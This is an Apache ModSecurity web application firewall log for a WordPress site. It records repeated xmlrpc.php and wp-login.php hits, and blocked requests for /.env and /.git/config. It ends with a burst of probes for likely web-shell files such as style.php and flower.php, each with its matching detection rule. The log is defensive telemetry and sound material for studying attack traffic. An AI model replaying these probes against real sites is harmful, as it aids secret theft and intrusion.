[Mon Nov 17 12:39:49.687025 2025] [:error] [pid 21538:tid 21552] [client 184.93.0.17:10018] [client 184.93.0.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.93.0.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRqnFadTlflWtZ7KEyhBrgAAA4w"]
[Mon Nov 17 13:20:12.054713 2025] [:error] [pid 31419:tid 31439] [client 188.130.136.101:58579] [client 188.130.136.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.136.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRqwjAHQ5Sbp7elmDZhT0AAAApI"], referer: https://gigfragments.org/
[Mon Nov 17 13:20:14.452666 2025] [:error] [pid 39537:tid 39564] [client 188.130.136.101:40155] [client 188.130.136.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.136.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRqwjoZRrh1pcrdcLB-GNAAAANg"], referer: https://gigfragments.org/wp-login.php?action=register
[Mon Nov 17 16:10:03.991977 2025] [:error] [pid 40548:tid 40570] [client 162.214.78.123:60354] [client 162.214.78.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.214.78.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrYWwM_PykfYnxh-j9KCAAAARQ"], referer: https://gigfragments.org
[Mon Nov 17 16:13:55.765278 2025] [:error] [pid 39449:tid 39473] [client 89.46.106.152:43326] [client 89.46.106.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.106.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrZQ6UCymTA3MDfzLMlXgAAABM"], referer: https://gigfragments.org
[Mon Nov 17 16:16:23.080388 2025] [:error] [pid 31419:tid 31425] [client 159.65.153.77:39258] [client 159.65.153.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aRrZ1wHQ5Sbp7elmDZhrPQAAAoQ"]
[Mon Nov 17 16:16:38.258289 2025] [:error] [pid 31419:tid 31441] [client 159.65.153.77:25040] [client 159.65.153.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aRrZ5gHQ5Sbp7elmDZhrVgAAApQ"]
[Mon Nov 17 16:17:41.862322 2025] [:error] [pid 31419:tid 31423] [client 1.13.18.100:57924] [client 1.13.18.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.13.18.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRraJQHQ5Sbp7elmDZhrfwAAAoI"], referer: https://gigfragments.org
[Mon Nov 17 16:21:37.271031 2025] [:error] [pid 65302:tid 65325] [client 123.1.133.4:33462] [client 123.1.133.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.1.133.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrbEQPMSx2v85r8y7zfJQAAAVU"], referer: https://gigfragments.org
[Mon Nov 17 16:33:09.072369 2025] [:error] [pid 15888:tid 15906] [client 64.90.38.74:36764] [client 64.90.38.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.90.38.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrdxQjAdDTBm4W3qW0YrwAAAc8"], referer: https://gigfragments.org
[Mon Nov 17 16:37:18.660271 2025] [:error] [pid 39449:tid 39478] [client 139.59.253.161:52380] [client 139.59.253.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.253.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrevqUCymTA3MDfzLMqCQAAABg"], referer: https://gigfragments.org
[Mon Nov 17 16:41:29.344424 2025] [:error] [pid 65302:tid 65311] [client 103.82.22.166:48040] [client 103.82.22.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.22.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrfuQPMSx2v85r8y7zhrgAAAUc"], referer: https://gigfragments.org
[Mon Nov 17 16:45:45.057808 2025] [:error] [pid 32753:tid 32778] [client 167.99.71.235:45006] [client 167.99.71.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.71.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrguU6YNqI5vkht921FjgAAA9Y"], referer: https://gigfragments.org
[Mon Nov 17 16:48:46.183936 2025] [:error] [pid 39451:tid 39511] [client 158.220.121.230:57354] [client 158.220.121.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.220.121.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrhbufgkqXTS0SO3fAGfAAAAIM"]
[Mon Nov 17 16:50:07.939261 2025] [:error] [pid 40548:tid 40559] [client 173.236.139.128:48208] [client 173.236.139.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.139.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrhvwM_PykfYnxh-j9PfgAAAQk"], referer: https://gigfragments.org
[Mon Nov 17 16:54:26.283040 2025] [:error] [pid 20913:tid 20931] [client 113.192.8.160:46378] [client 113.192.8.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.192.8.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRriwukafGNeN3nY1bc3KQAAA1A"], referer: https://gigfragments.org
[Mon Nov 17 17:03:15.834976 2025] [:error] [pid 31419:tid 31426] [client 89.46.109.92:35232] [client 89.46.109.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.109.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrk0wHQ5Sbp7elmDZhzIAAAAoU"], referer: https://gigfragments.org
[Mon Nov 17 17:07:24.423087 2025] [:error] [pid 40548:tid 40561] [client 152.53.103.246:38052] [client 152.53.103.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.103.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrlzAM_PykfYnxh-j9R8AAAAQs"], referer: https://gigfragments.org
[Mon Nov 17 17:11:44.436470 2025] [:error] [pid 39449:tid 39458] [client 165.227.177.101:49378] [client 165.227.177.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.177.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrm0KUCymTA3MDfzLMxRgAAAAQ"], referer: https://gigfragments.org
[Mon Nov 17 17:16:24.227083 2025] [:error] [pid 39449:tid 39478] [client 77.104.73.130:4328] [client 77.104.73.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.104.73.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrn6KUCymTA3MDfzLMyPQAAABg"], referer: https://gigfragments.org
[Mon Nov 17 17:20:41.717733 2025] [:error] [pid 20913:tid 20916] [client 167.71.120.178:55164] [client 167.71.120.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.71.120.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRro6ekafGNeN3nY1bc7twAAA0E"], referer: https://gigfragments.org
[Mon Nov 17 17:24:51.592514 2025] [:error] [pid 32753:tid 32764] [client 135.125.183.119:33388] [client 135.125.183.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.125.183.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrp406YNqI5vkht921QogAAA8g"], referer: https://gigfragments.org
[Mon Nov 17 17:29:10.124590 2025] [:error] [pid 32753:tid 32757] [client 162.214.78.123:43138] [client 162.214.78.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.214.78.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrq5k6YNqI5vkht921SHwAAA8E"], referer: https://gigfragments.org
[Mon Nov 17 17:36:29.084348 2025] [:error] [pid 32753:tid 32768] [client 158.220.121.230:40956] [client 158.220.121.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.220.121.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrsnU6YNqI5vkht921T_gAAA8w"]
[Mon Nov 17 17:38:40.555170 2025] [:error] [pid 32753:tid 32758] [client 36.111.67.189:59341] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRrtIE6YNqI5vkht921VcgAAA8I"]
[Mon Nov 17 17:46:03.442310 2025] [:error] [pid 31419:tid 31439] [client 122.51.207.51:49614] [client 122.51.207.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.51.207.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRru2wHQ5Sbp7elmDZh74gAAApI"], referer: https://gigfragments.org
[Mon Nov 17 17:54:33.156654 2025] [:error] [pid 20913:tid 20924] [client 103.192.173.163:55624] [client 103.192.173.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.192.173.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrw2ekafGNeN3nY1bdCLwAAA0k"], referer: https://gigfragments.org
[Mon Nov 17 17:58:45.619424 2025] [:error] [pid 32753:tid 32767] [client 51.81.207.12:60544] [client 51.81.207.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.81.207.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrx1U6YNqI5vkht921cCgAAA8s"], referer: https://gigfragments.org
[Mon Nov 17 18:07:13.847846 2025] [:error] [pid 15888:tid 15910] [client 51.79.250.168:41098] [client 51.79.250.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.250.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRrz0QjAdDTBm4W3qW0lEwAAAdM"], referer: https://gigfragments.org
[Mon Nov 17 18:16:11.872861 2025] [:error] [pid 65302:tid 65309] [client 67.205.23.217:55782] [client 67.205.23.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.23.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr16wPMSx2v85r8y7zw7QAAAUU"], referer: https://gigfragments.org
[Mon Nov 17 18:20:30.277974 2025] [:error] [pid 15888:tid 15899] [client 4.224.244.18:35624] [client 4.224.244.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.224.244.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr27gjAdDTBm4W3qW0nFgAAAcg"], referer: https://gigfragments.org
[Mon Nov 17 18:24:44.250785 2025] [:error] [pid 32753:tid 32763] [client 51.79.250.168:34140] [client 51.79.250.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.250.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr37E6YNqI5vkht921khgAAA8c"], referer: https://gigfragments.org
[Mon Nov 17 18:33:20.393111 2025] [:error] [pid 65302:tid 65312] [client 162.214.208.138:34828] [client 162.214.208.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.214.208.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr58APMSx2v85r8y7zz2AAAAUg"], referer: https://gigfragments.org
[Mon Nov 17 18:36:02.088687 2025] [:error] [pid 39449:tid 39473] [client 162.214.205.31:41500] [client 162.214.205.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.214.205.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr6kqUCymTA3MDfzLNGzgAAABM"]
[Mon Nov 17 18:37:40.732767 2025] [:error] [pid 32753:tid 32761] [client 34.74.243.195:44452] [client 34.74.243.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.243.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr69E6YNqI5vkht921ozAAAA8U"], referer: https://gigfragments.org
[Mon Nov 17 18:46:25.807093 2025] [:error] [pid 32753:tid 32768] [client 20.151.56.195:43684] [client 20.151.56.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.151.56.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr9AU6YNqI5vkht921rvQAAA8w"], referer: https://gigfragments.org
[Mon Nov 17 18:50:35.635011 2025] [:error] [pid 39449:tid 39474] [client 103.169.160.163:33898] [client 103.169.160.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.169.160.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr9-6UCymTA3MDfzLNKkgAAABQ"], referer: https://gigfragments.org
[Mon Nov 17 18:55:01.747760 2025] [:error] [pid 31419:tid 31424] [client 120.25.168.36:36370] [client 120.25.168.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.25.168.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRr_BQHQ5Sbp7elmDZiLUgAAAoM"], referer: https://gigfragments.org
[Mon Nov 17 18:59:41.558971 2025] [:error] [pid 32753:tid 32756] [client 70.40.255.4:54050] [client 70.40.255.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 70.40.255.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsAHU6YNqI5vkht921vwwAAA8A"], referer: https://gigfragments.org
[Mon Nov 17 19:12:48.301859 2025] [:error] [pid 20913:tid 20919] [client 103.211.200.34:42140] [client 103.211.200.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.211.200.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsDMOkafGNeN3nY1bdScAAAA0Q"], referer: https://gigfragments.org
[Mon Nov 17 19:21:25.251341 2025] [:error] [pid 20913:tid 20928] [client 51.79.250.168:48374] [client 51.79.250.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.250.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsFNekafGNeN3nY1bdUBgAAA00"], referer: https://gigfragments.org
[Mon Nov 17 19:25:44.035879 2025] [:error] [pid 39449:tid 39476] [client 42.96.15.201:53348] [client 42.96.15.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.15.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsGOKUCymTA3MDfzLNTkAAAABY"], referer: https://gigfragments.org
[Mon Nov 17 19:30:08.282291 2025] [:error] [pid 15888:tid 15910] [client 89.46.106.152:35862] [client 89.46.106.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.106.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsHQAjAdDTBm4W3qW0ywAAAAdM"], referer: https://gigfragments.org
[Mon Nov 17 19:43:08.222990 2025] [:error] [pid 15888:tid 15891] [client 165.227.140.18:55526] [client 165.227.140.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.140.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsKTAjAdDTBm4W3qW01PQAAAcA"], referer: https://gigfragments.org
[Mon Nov 17 19:47:36.189938 2025] [:error] [pid 32753:tid 32765] [client 103.161.170.99:45656] [client 103.161.170.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.161.170.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsLWE6YNqI5vkht921_VwAAA8k"], referer: https://gigfragments.org
[Mon Nov 17 19:56:15.543913 2025] [:error] [pid 20913:tid 20922] [client 107.180.224.51:38864] [client 107.180.224.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.224.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsNX-kafGNeN3nY1bdaTAAAA0c"], referer: https://gigfragments.org
[Mon Nov 17 20:01:02.002515 2025] [:error] [pid 20913:tid 20918] [client 162.241.126.57:34962] [client 162.241.126.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.126.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsOfukafGNeN3nY1bda3wAAA0M"], referer: https://gigfragments.org
[Mon Nov 17 20:01:44.444437 2025] [:error] [pid 15888:tid 15893] [client 103.186.31.45:54343] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aRsOqAjAdDTBm4W3qW03wwAAAcI"]
[Mon Nov 17 20:01:44.697387 2025] [:error] [pid 31419:tid 31430] [client 103.186.31.45:54557] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aRsOqAHQ5Sbp7elmDZiYegAAAok"]
[Mon Nov 17 20:01:44.956433 2025] [:error] [pid 20913:tid 20926] [client 103.186.31.45:54664] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "aRsOqOkafGNeN3nY1bda_AAAA0s"]
[Mon Nov 17 20:01:45.221318 2025] [:error] [pid 39449:tid 39469] [client 103.186.31.45:54782] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/style.php"] [unique_id "aRsOqaUCymTA3MDfzLNbswAAAA8"]
[Mon Nov 17 20:01:45.475399 2025] [:error] [pid 20913:tid 20932] [client 103.186.31.45:54856] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style.php"] [unique_id "aRsOqekafGNeN3nY1bdbAAAAA1E"]
[Mon Nov 17 20:01:45.733356 2025] [:error] [pid 31419:tid 31438] [client 103.186.31.45:54998] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aRsOqQHQ5Sbp7elmDZiYggAAApE"]
[Mon Nov 17 20:01:45.988594 2025] [:error] [pid 20913:tid 20916] [client 103.186.31.45:55147] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aRsOqekafGNeN3nY1bdbBwAAA0E"]
[Mon Nov 17 20:01:46.247218 2025] [:error] [pid 39449:tid 39454] [client 103.186.31.45:55231] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aRsOqqUCymTA3MDfzLNbtwAAAAA"]
